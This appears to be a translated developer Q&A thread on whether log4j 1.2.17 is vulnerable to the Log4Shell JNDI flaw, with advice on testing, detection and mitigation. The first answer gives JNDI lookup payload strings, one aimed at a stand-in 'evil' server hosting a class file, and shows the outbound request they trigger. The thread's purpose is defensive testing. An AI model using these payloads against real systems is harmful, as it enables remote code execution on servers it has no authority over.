log4j 易受攻击吗？用于测试漏洞的示例代码

Question

正如我们在新闻中看到的那样，已报告针对流行的 Log4J2 库的新零日漏洞利用可以允许攻击者远程执行代码。在我们的应用程序中，我们仍在使用以下 log4j 依赖项。

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>

是否仅针对 log4j2 报告了该问题？或者它也适用于 1.2.17 版本吗？是否有测试漏洞的示例代码？

Answer 1

检查这个问题：

Update (2021-12-12 10:09 JST): according to this analysis by @TopStreamsNet, strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower. Note that log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed. So we do not recommend using log4j 1.x as a way to avoid this security vulnerability. The recommendation is to upgrade to 2.15.0.

和this：

https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301 log4j 1.x versions can still be vulnerable to this issue, but only when the jms configuration: TopicBindingName or TopicConnectionFactoryBindingName is set to something that JNDI can handle - for example "ldap://host:port/a". In this way, JNDI will do exactly the same thing it does for 2.x. That is, 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input.

是否有测试漏洞的示例代码？

您可以使用此在线工具来测试您的应用程序： https://log4shell.huntress.com/

只需将这一行添加到您要测试的应用程序中，如果它存在漏洞：

logger.error("${jndi:ldap://log4shell.huntress.com:1389/<your-unique-identifier-from-log4shell.huntress.com>}");

然后运行服务器并通过单击“查看连接”检查是否向该工具发送了请求。

您还可以使用此 python 脚本测试该漏洞：

https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

或者如果攻击已经发生，请检查您的日志：

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

或者只检查日志中包含 ${jndi:ldap: 或 ${jndi: 的字符串，如下所示：

${jndi:ldap://<some_evil_server.com/evil-code.class...}

这里是一个 Java 存在漏洞的应用程序示例：

https://github.com/0x0021h/apache-log4j-rce

我测试了它，在运行ning 应用程序的日志中我没有看到太多有趣的事情发生：

但是在我的其他服务器运行ning 上 127.0.0.1:8080 我看到出现了以下日志，所以日志语句触发了一个 http 请求（我还使用 log4shell.huntress.com 工具测试了它并且连接出现在那里。):

16:48:44.338 [http-nio-8080-exec-1] INFO  o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:269)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1723)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.base/java.lang.Thread.run(Thread.java:834)

Answer 2

不，该漏洞是 Log4j2 的一项特殊功能，称为 'lookups'。

形式为${xxx:yyy} 的每个序列到达日志引擎都会被解析和处理。即使记录的是来自用户的输入。即使该输入被注入到异常消息中——例如，如果您记录堆栈跟踪，并且异常是解析异常。

通过在没有沙箱的情况下将记录器输入馈送到解析器，他们引入了一个新的攻击面，它尖叫着被利用，最终发生了。

根据 log4j2 团队的说法，可以通过将参数附加到 java 命令来关闭该设计不当的功能：

-Dlog4j2.formatMsgNoLookups=true

其他不包含此类疯狂功能的框架不受影响，希望所有框架都能接受安全审核。

原Log4j项目不再支持，原开发者已经启动了Logback项目，所以如果要切换到Log4j，需要走Logback。

log4j 易受攻击吗？用于测试漏洞的示例代码

Is log4j vulnerable? Sample code to test the vulnerability

java

log4j

log4j2